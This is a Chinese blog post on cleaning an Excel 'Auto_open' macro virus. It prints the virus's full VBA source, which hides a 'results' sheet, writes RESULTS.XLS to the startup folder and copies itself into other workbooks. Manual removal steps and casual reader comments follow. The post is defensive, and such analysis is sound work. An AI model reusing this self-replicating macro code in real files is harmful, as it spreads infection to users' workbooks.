Auto_open宏病毒的解决方法

• Excel • 18 条评论 • •7,629 次查阅
对于办公室一族office基本天天面对，但是office也会像其他程序一样中毒，比如宏病毒，如Auto_open宏病毒。
病毒代码如下：
Sub auto_open()

    Application.OnSheetActivate = "ck_files"

End Sub
Sub ck_files()
    c$ = Application.StartupPath

    m$ = Dir(c$ & "\" & "RESULTS.XLS")

    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0

    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

    whichfile = p + w * 10
    Select Case whichfile
    Case 10

    Application.ScreenUpdating = False

    n4$ = ActiveWorkbook.Name

    Sheets("results").Visible = True

    Sheets("results").Select

    Sheets("results").Copy

    With ActiveWorkbook

        .Title = ""

        .Subject = ""

        .Author = ""

        .Keywords = ""

        .Comments = ""

    End With

    newname$ = ActiveWorkbook.Name

    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False

    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _

        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

        False, CreateBackup:=False

    ChDir c4$

    Workbooks(n4$).Sheets("results").Visible = False

    Application.OnSheetActivate = ""

    Application.ScreenUpdating = True

    Application.OnSheetActivate = "RESULTS.XLS!ck_files"

    Case 1

    Application.ScreenUpdating = False

    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path

    s$ = Workbooks(n4$).Sheets(1).Name

    If s$ <> "results" Then

        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)

        Workbooks(n4$).Sheets("results").Visible = False

    Else
    End If

    Application.OnSheetActivate = ""

    Application.ScreenUpdating = True

    Application.OnSheetActivate = "RESULTS.XLS!ck_files"

    Case Else
End Select
End Sub
 
处理方法：
1、打开中毒的表格，把宏安全性调整为中或者高；
2、禁止运行宏，按ALT+F11，进入代码查看模式；
3、找到病毒代码所在的模块，移除模块，保存；
4、退出表格，不保存；
5、打开C盘，查找到“results.xls"这个表格，删除；
6、重新打开其它被感染的表格，重复以上2-4步；
7、完成，记得补装一个杀毒软件，否则下次还会中的；
如果采用杀毒软件清除，可能会不慎清除所有正常宏代码！
分享到：

18 条评论

注意: 评论者允许使用'@user空格'的方式将自己的评论通知另外评论者。例如， ABC是本文的评论者之一，则使用'@ABC '(不包括单引号)将会自动将您的评论发送给ABC。使用'@all '，将会将评论发送给之前所有其它评论者。请务必注意user必须和评论者名相匹配(大小写一致)。

昵称▼
  1. 激情小鸭鸭

    说错了 是名字。。。 刚刚没看清…原来显示域名 -.-

    1. Aaron

      @ 激情小鸭鸭 : 已添加，你也给我加上去

      1. 牛图Web

        @ Aaron 哈哈哈 好的

        1. Aaron

          @ 牛图Web : 有什么好的主机商推荐吗？你用的哪里的主机

          Notify
  2. 激情小鸭鸭

    鸭子图片 – -。

    1. Aaron

      @ 激情小鸭鸭 : 你要点鸭子下面的，文字才有网址

  3. 激情小鸭鸭

    嘿嘿，一般比较懒，用金山的WPS

    1. Aaron

      @ 激情小鸭鸭 : 金山的也会中的

      1. 激情小鸭鸭

        @ Aaron : 擦，居然在线…能换个友链的，不过我的是新站…

        1. Aaron

          @ 激情小鸭鸭 : 等我下班回家先，留下你的站点，哈哈

          Notify
        2. 激情小鸭鸭

          @ Aaron :
          好的 cowtu.com 为什么点图片不显示网址 -。-

          Notify
        3. Aaron

          @ 激情小鸭鸭 : 哪里的图片？

          Notify
  4. 郑州摄影工作室

    网站排名降低了 应该不是病毒吧

    1. Aaron

      @ 郑州摄影工作室 : 排名降低不是病毒所致

  5. 地钻

    我的博客就被黑了

    1. Aaron

      @ 地钻 : 怎么被黑的

  6. 追逐RMB

    这个我暂时还没遇到过诶。， 不过先收藏留着吧。

    1. Aaron

      @ 追逐RMB : 希望有用吧~